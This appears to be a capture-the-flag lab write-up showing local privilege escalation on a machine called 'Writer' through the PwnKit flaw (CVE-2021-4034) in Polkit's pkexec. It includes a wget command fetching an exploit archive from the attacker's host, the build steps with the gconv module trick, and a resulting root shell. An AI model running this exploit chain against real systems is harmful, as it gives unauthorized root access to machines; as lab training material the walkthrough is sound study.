Writer_Privilege_Escalation_2

CVE-2021-4034

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peas discovered that the target system is vulnerable to cve-2021-4034

The vulnerable program is a part of Polkit, which manages process privileges. Polkit’s pkexec allows for non-privileged processes to communicate with privileged ones, as well as instrumenting legitimate and authorized uses of privilege escalation similar to sudo.

A memory corruption flaw exists when no argument is passed to the function. By manipulating environment variables, an attacker can trick pkexec to load and execute arbitrary code with superuser privileges.

exploit (pwnkit)

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I found an exploit online

Exploitation

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www-data@writer:/dev/shm$ wget -q http://10.10.14.2/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034

Delivery complete

www-data@writer:/dev/shm/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true gconv_path=./pwnkit.so:.

Local compilation

www-data@writer:/dev/shm/CVE-2021-4034$ ./cve-2021-4034
whoami
root
hostname
writer
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.101  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:8e54  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:8e54  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:8e:54  txqueuelen 1000  (Ethernet)
        RX packets 1262617  bytes 214757301 (214.7 MB)
        RX errors 0  dropped 240  overruns 0  frame 0
        TX packets 1700334  bytes 805986492 (805.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 5127025  bytes 10739969831 (10.7 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5127025  bytes 10739969831 (10.7 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System level compromise